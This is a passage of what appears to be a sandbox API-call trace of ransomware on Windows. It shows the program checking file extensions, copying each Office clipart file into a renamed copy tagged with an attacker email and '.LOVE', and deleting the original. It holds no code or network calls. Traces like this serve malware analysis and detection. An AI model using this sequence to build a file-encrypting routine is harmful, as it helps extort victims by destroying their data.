(lpString=".jpg") returned 4 [0207.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.119] lstrlenW (lpString=".doc") returned 4 [0207.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString=".docx") returned 5 [0207.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.119] lstrlenW (lpString=".pdf") returned 4 [0207.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString=".xls") returned 4 [0207.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.119] lstrlenW (lpString=".xlsx") returned 5 [0207.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.119] lstrlenW (lpString=".ppt") returned 4 [0207.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.119] lstrlenW (lpString=".zip") returned 4 [0207.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.119] lstrlenW (lpString=".rar") returned 4 [0207.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString=".bz2") returned 4 [0207.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString=".7z") returned 3 [0207.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.120] lstrlenW (lpString=".dbf") returned 4 [0207.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.120] lstrlenW (lpString=".1cd") returned 4 [0207.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.120] lstrlenW (lpString=".jpg") returned 4 [0207.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.120] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.120] lstrlenW (lpString="AN01084_.WMF") returned 12 [0207.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.120] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=1832) returned 1 [0207.120] CloseHandle (hObject=0x2f0) returned 1 [0207.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0207.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.121] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.121] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.121] GetLastError () returned 0x0 [0207.121] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x728, lpOverlapped=0x0) returned 1 [0207.184] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x730, lpOverlapped=0x0) returned 1 [0207.184] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.184] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.185] SetEndOfFile (hFile=0x374) returned 1 [0207.185] CloseHandle (hObject=0x374) returned 1 [0207.185] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.185] SetEndOfFile (hFile=0x2f0) returned 1 [0207.186] CloseHandle (hObject=0x2f0) returned 1 [0207.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0207.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.187] lstrlenW (lpString=".doc") returned 4 [0207.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.187] lstrlenW (lpString=".docx") returned 5 [0207.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.187] lstrlenW (lpString=".pdf") returned 4 [0207.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.187] lstrlenW (lpString=".xls") returned 4 [0207.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.187] lstrlenW (lpString=".xlsx") returned 5 [0207.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.187] lstrlenW (lpString=".ppt") returned 4 [0207.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.187] lstrlenW (lpString=".zip") returned 4 [0207.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.187] lstrlenW (lpString=".rar") returned 4 [0207.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.187] lstrlenW (lpString=".bz2") returned 4 [0207.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.187] lstrlenW (lpString=".7z") returned 3 [0207.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.187] lstrlenW (lpString=".dbf") returned 4 [0207.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.187] lstrlenW (lpString=".1cd") returned 4 [0207.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString=".jpg") returned 4 [0207.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString=".doc") returned 4 [0207.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString=".docx") returned 5 [0207.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.188] lstrlenW (lpString=".pdf") returned 4 [0207.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString=".xls") returned 4 [0207.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.188] lstrlenW (lpString=".xlsx") returned 5 [0207.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.188] lstrlenW (lpString=".ppt") returned 4 [0207.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString=".zip") returned 4 [0207.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.188] lstrlenW (lpString=".rar") returned 4 [0207.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString=".bz2") returned 4 [0207.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString=".7z") returned 3 [0207.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString=".dbf") returned 4 [0207.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString=".1cd") returned 4 [0207.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0207.188] lstrlenW (lpString=".jpg") returned 4 [0207.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.189] GetLastError () returned 0x0 [0207.189] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xea2, lpOverlapped=0x0) returned 1 [0207.190] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0207.191] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.191] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.191] SetEndOfFile (hFile=0x374) returned 1 [0207.191] CloseHandle (hObject=0x374) returned 1 [0207.191] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.191] SetEndOfFile (hFile=0x2f0) returned 1 [0207.192] CloseHandle (hObject=0x2f0) returned 1 [0207.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0207.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0207.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0207.193] lstrlenW (lpString=".doc") returned 4 [0207.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString=".docx") returned 5 [0207.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.193] lstrlenW (lpString=".pdf") returned 4 [0207.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString=".xls") returned 4 [0207.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.193] lstrlenW (lpString=".xlsx") returned 5 [0207.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.193] lstrlenW (lpString=".ppt") returned 4 [0207.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0207.193] lstrlenW (lpString=".zip") returned 4 [0207.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.193] lstrlenW (lpString=".rar") returned 4 [0207.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString=".bz2") returned 4 [0207.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString=".7z") returned 3 [0207.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0207.193] lstrlenW (lpString=".dbf") returned 4 [0207.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0207.193] lstrlenW (lpString=".1cd") returned 4 [0207.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0207.193] lstrlenW (lpString=".jpg") returned 4 [0207.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.194] GetLastError () returned 0x0 [0207.194] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0207.195] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0207.196] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.196] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.196] SetEndOfFile (hFile=0x374) returned 1 [0207.197] CloseHandle (hObject=0x374) returned 1 [0207.197] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.197] SetEndOfFile (hFile=0x2f0) returned 1 [0207.197] CloseHandle (hObject=0x2f0) returned 1 [0207.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0207.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0207.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0207.198] lstrlenW (lpString=".doc") returned 4 [0207.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.198] lstrlenW (lpString=".docx") returned 5 [0207.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.198] lstrlenW (lpString=".pdf") returned 4 [0207.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.198] lstrlenW (lpString=".xls") returned 4 [0207.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.198] lstrlenW (lpString=".xlsx") returned 5 [0207.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.198] lstrlenW (lpString=".ppt") returned 4 [0207.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0207.199] lstrlenW (lpString=".zip") returned 4 [0207.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.199] lstrlenW (lpString=".rar") returned 4 [0207.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.199] lstrlenW (lpString=".bz2") returned 4 [0207.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.199] lstrlenW (lpString=".7z") returned 3 [0207.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0207.199] lstrlenW (lpString=".dbf") returned 4 [0207.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0207.199] lstrlenW (lpString=".1cd") returned 4 [0207.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0207.199] lstrlenW (lpString=".jpg") returned 4 [0207.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.199] GetLastError () returned 0x0 [0207.199] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0207.215] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0207.217] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.217] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.217] SetEndOfFile (hFile=0x374) returned 1 [0207.217] CloseHandle (hObject=0x374) returned 1 [0207.217] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.217] SetEndOfFile (hFile=0x2f0) returned 1 [0207.217] CloseHandle (hObject=0x2f0) returned 1 [0207.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0207.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0207.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0207.218] lstrlenW (lpString=".doc") returned 4 [0207.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.218] lstrlenW (lpString=".docx") returned 5 [0207.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.218] lstrlenW (lpString=".pdf") returned 4 [0207.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.218] lstrlenW (lpString=".xls") returned 4 [0207.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.218] lstrlenW (lpString=".xlsx") returned 5 [0207.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.219] lstrlenW (lpString=".ppt") returned 4 [0207.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0207.219] lstrlenW (lpString=".zip") returned 4 [0207.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.219] lstrlenW (lpString=".rar") returned 4 [0207.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.219] lstrlenW (lpString=".bz2") returned 4 [0207.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.219] lstrlenW (lpString=".7z") returned 3 [0207.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0207.219] lstrlenW (lpString=".dbf") returned 4 [0207.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0207.219] lstrlenW (lpString=".1cd") returned 4 [0207.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0207.219] lstrlenW (lpString=".jpg") returned 4 [0207.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.219] GetLastError () returned 0x0 [0207.219] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xac4, lpOverlapped=0x0) returned 1 [0207.235] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xad0, lpOverlapped=0x0) returned 1 [0207.236] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.236] WriteFile (in: hFile=0x374, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.236] SetEndOfFile (hFile=0x374) returned 1 [0207.236] CloseHandle (hObject=0x374) returned 1 [0207.237] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.237] SetEndOfFile (hFile=0x2f0) returned 1 [0207.237] CloseHandle (hObject=0x2f0) returned 1 [0207.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0207.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0207.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0207.238] lstrlenW (lpString=".doc") returned 4 [0207.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.238] lstrlenW (lpString=".docx") returned 5 [0207.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.238] lstrlenW (lpString=".pdf") returned 4 [0207.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.238] lstrlenW (lpString=".xls") returned 4 [0207.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.238] lstrlenW (lpString=".xlsx") returned 5 [0207.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.238] lstrlenW (lpString=".ppt") returned 4 [0207.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.238] lstrlenW 